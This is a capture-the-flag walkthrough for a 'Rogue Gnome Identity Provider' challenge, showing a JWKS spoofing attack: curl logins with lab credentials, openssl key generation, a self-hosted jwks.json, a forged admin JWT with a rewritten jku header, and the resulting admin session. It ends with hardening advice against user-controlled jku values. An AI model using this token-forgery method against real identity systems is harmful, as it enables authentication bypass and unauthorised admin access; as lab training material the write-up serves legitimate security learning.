Rogue Gnome Identity Provider⚓︎

Difficulty:
Direct link: Rogue Gnome Identity Provider
Area: The Park
In-game avatar: Paul Beckett
Hints⚓︎
Rogue Gnome IDP
It looks like the JWT uses JWKS. Maybe a JWKS spoofing attack would work.
Rogue Gnome IDP
https://github.com/ticarpi/jwt_tool/wiki and https://portswigger.net/web-security/jwt have some great information on analyzing JWT's and performing JWT attacks.
Rogue Gnome IDP
If you need to host any files for the attack, the server is running a webserver available locally at http://paulweb.neighborhood/.
The files for the site are stored in ~/www
Objective⚓︎
Request
Hike over to Paul in the park for a gnomey authentication puzzle adventure. What malicious firmware image are the gnomes downloading?
Paul Beckett
As a pentester, I proper love a good privilege escalation challenge, and that's exactly what we've got here.<br/>
The challenge website notes the router firmware version and the hardware version at the bottom.<br/>
I've got access to a Gnome's Diagnostic Interface at gnome-48371.atnascorp with the creds gnome:SittingOnAShelf, but it's just a low-privilege account.<br/>
The gnomes are getting some dodgy updates, and I need admin access to see what's actually going on.<br/>
Ready to help me find a way to bump up our access level, yeah?
High-Level Steps⚓︎
- Observe – Analyze the JWT authentication flow and trust relationships.
- Forge – Create a malicious JWKS and generate an admin JWT.
- Access – Authenticate as admin and extract the firmware details.
%%{init: {"themeVariables": {
"fontSize": "25px",
"nodeTextSize": "18px",
"clusterTextSize": "22px"
}}}%%
flowchart TD
subgraph Row1["Observe"]
direction LR
A[Authenticate to IdP]
B[Capture and analyze JWT]
A --> B
end
subgraph Row2["Forge"]
direction LR
C[Generate RSA key pair]
D[Host malicious JWKS]
E[Forge admin JWT]
C --> D --> E
end
subgraph Row3["Access"]
direction LR
F[Exchange forged JWT for session]
G[Access admin interface]
H[Identify firmware image]
I[Objective completed]
F --> G --> H --> I
end
Row1 --> Row2
Row2 --> Row3
Solution⚓︎
The challenge console mentions a file named ~/notes.

Details in the file named ~/notes⚓︎
Notes
Captured Gnome curl http://gnome-48371.atnascorp/
ATNAS Identity Provider (IdP): curl http://idp.atnascorp/
My CyberChef website: curl http://paulweb.neighborhood/
My CyberChef site html files:⚓︎
~/www/
Credentials
Gnome credentials (found on a post-it): Gnome:SittingOnAShelf
Curl Commands Used in Analysis of Gnome:
Gnome Diagnostic Interface authentication required page: curl http://gnome-48371.atnascorp
Request IDP Login Page curl http://idp.atnascorp/?return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth
Authenticate to IDP curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login
Pass Auth Token to Gnome
curl -v http://gnome-48371.atnascorp/auth?token=
Access Gnome Diagnostic Interface
curl -H 'Cookie: session=
Analyze the JWT
jwt_tool.py
We follow the below steps in the below order :
- In the challenge
- Authenticate and get the JWT token
- Pass Auth Token to Gnome
- In local kali
- Create the private and public key pair
- Generate the JWKS content
- Generate the JWT content with JWKS url
- In the challenge
- Use JWT to generate the session id for admin user
- Use session id to authenticate as admin
Authenticate and get the JWT token⚓︎
curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login

| JWT token | |
|---|---|
1 | |
Pass Auth Token to Gnome⚓︎
curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NTQyNjgyNCwiZXhwIjoxNzY1NDM0MDI0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.JqykARKZRSm4TcWPaHfesn55Ew9mQy_nw3ysKO8sZmpGch5VqfkiD5FGH85p2pPP-cZ4Q6PAgBxjL_JJ7FSBrrA896uZAnehx86IowY9pyuSJ-aDDtG6Gu_ChpWlCm809hb8_66L6pwss4qCHfwIclhEYJ9Di0V9binaTQNDVys8txL_HPIF2-lHx2y8sKw3i5w1Hl-1fUhglzUSrFGIk2oTHduucRFU-IwalkrX192Ya2c_U-vgTYSnASUzCu8LNzgZiKSpvYLiFoaScLya8hbvW051SnpGTrOmu34M1U1dK6tUqlvnSFUpDObw-bvK2fl7tn0CmRr0xfuhHaR6jQ
When we try to get the session cookie value to access the diagnostic interface, we get
"Diagnostic access is only available to admins."
curl -H 'Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aTpHxg.wy7rETOD5wTKVvfzoJmz5SRH0g0' http://gnome-48371.atnascorp/diagnostic-interface
So - question is how we can get a authenticate to the gnome-48371.atnascorp to get an admin session which we can use to access teh diagnostic interface?
Creating the private and public key pair⚓︎
openssl genpkey -algorithm RSA -out private.pem -pkeyopt rsa_keygen_bits:2048
openssl rsa -in private.pem -pubout -out public.pem
Public and private key pair is created.

Generate jwks payload - create_jwks.py⚓︎
We generate the JWKS content using the public cert.
This is the content we can host and serve from http://paulweb.neighborhood/
Script to create the JWKS
| create_jwks.py | |
|---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | |
Run and get the jwks file (jwks.json) with the public key
python create_jwks.py public.pem
cat jwks.json
In the game, we save the jwks.json under ~/www which is the home directory for http://paulweb.neighborhood/.
cd ~/www/
echo '{
"keys": [
{
"kty": "RSA",
"kid": "idp-key-2025",
"use": "sig",
"n": "y7f3Y1UfwzOa6kmOK8YPNBThxblOEjjRfgtOeLWbO0gHrnCeEFhsGNvWRroX6bvwIEekgRBAch7-ikbIVve4r1G41PhH9UBwggglsOE41MEN8oe6G3tySbP3T95O2OiGqhMU4Ot_WYfQJk3K9r7Qe13JmCGuG_jBBh4ZjcOyiczct1qMqapYFJvHSbXZoHBoEEiq-8aGKoRM3eyODj1cBwrN9MkUo4HIPC2t6F6Meh8LkBuWoLsQKCTBIiy6U9aSOXl8tG1VlZJ0yP9UVwRULOTD-EayPsUZV5RQecp6iNEo7cURC1zEkgbu5-G0FIpvT3mBkCfI7nRjnYz1f4n5iw",
"e": "AQAB"
}
]
}' > jwks.json

We can confirm the jwks.json can be served from http://paulweb.neighborhood

Now we create the jwt with the scope role:Admin with jwks url pointing to the http://paul.neighborhood/jwk.json
Highlighed in the code is the scope (Admin=true) and the jku set to http://paulweb.neighborhood/jwks.json, th eone we created.
Script to create the JWT
| create_jwt.py | |
|---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | |
Run the above script to get the jwt token
python create_jwt.py
In the game, use the above JWT to get the session id.
curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJpZHAta2V5LTIwMjUiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NTUxNTIzOSwiZXhwIjoxNzY1NTE4ODM5LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6IlRydWUifQ.rGu4Yc1fPGk6KLpRVfNS46MNKctCv1iNUyDIi3vOa0f-pIirc1Dzha2Nh1LlKj3l4dteMZ8ih_lx8RA7sa4_AZyzQ0jaJUTaNqxGXosepHfe4buqwhfO6Wz-iOc5C4xFrHgeD0xvKazrmzTOtpxpegx7JQjd6WF4eTHctoC9ePcopBSyHRQxDu1gTzSCCaB1GjzQwANoWUO5kJU6IpWyXhkgo7FA3XStvAKaR3Fj632usEfTRYuDyTPLtfxv_WB1lKy7CHrefj_Y0m5jPUN-gm5hHaRJz64HsGR1TMaKL0b6SkrbB0mmglmrClXLraSrTba-zQkfg6wsfadok2yBFQ
Use the session id above to login as admin to get the firmware details.
curl -H 'Cookie: session=eyJhZG1pbiI6IlRydWUiLCJ1c2VybmFtZSI6Imdub21lIn0.aTugbg.48Yi7Hebd6_DEJ3tCz-HKDYW1sw' http://gnome-48371.atnascorp/diagnostic-interface
It shows the firmware as : refrigeration-botnet.bin
We submit that as the answer and Its accepted.
Answer
refrigeration-botnet.bin
Response⚓︎
Paul Beckett
Brilliant work on that privilege escalation! You've successfully gained admin access to the diagnostic interface.
Now we finally know what updates the gnomes have been receiving - proper good pentesting skills in action!
Learnings⚓︎
- A user-supplied URL in the
jkuclaim can allow attackers to control the source of signing keys and forge trusted JWTs.
Prevention & Hardening Notes⚓︎
- Never allow user-controlled
jkuvalues; JWKS locations should be hard-coded or strictly allowlisted on the server side.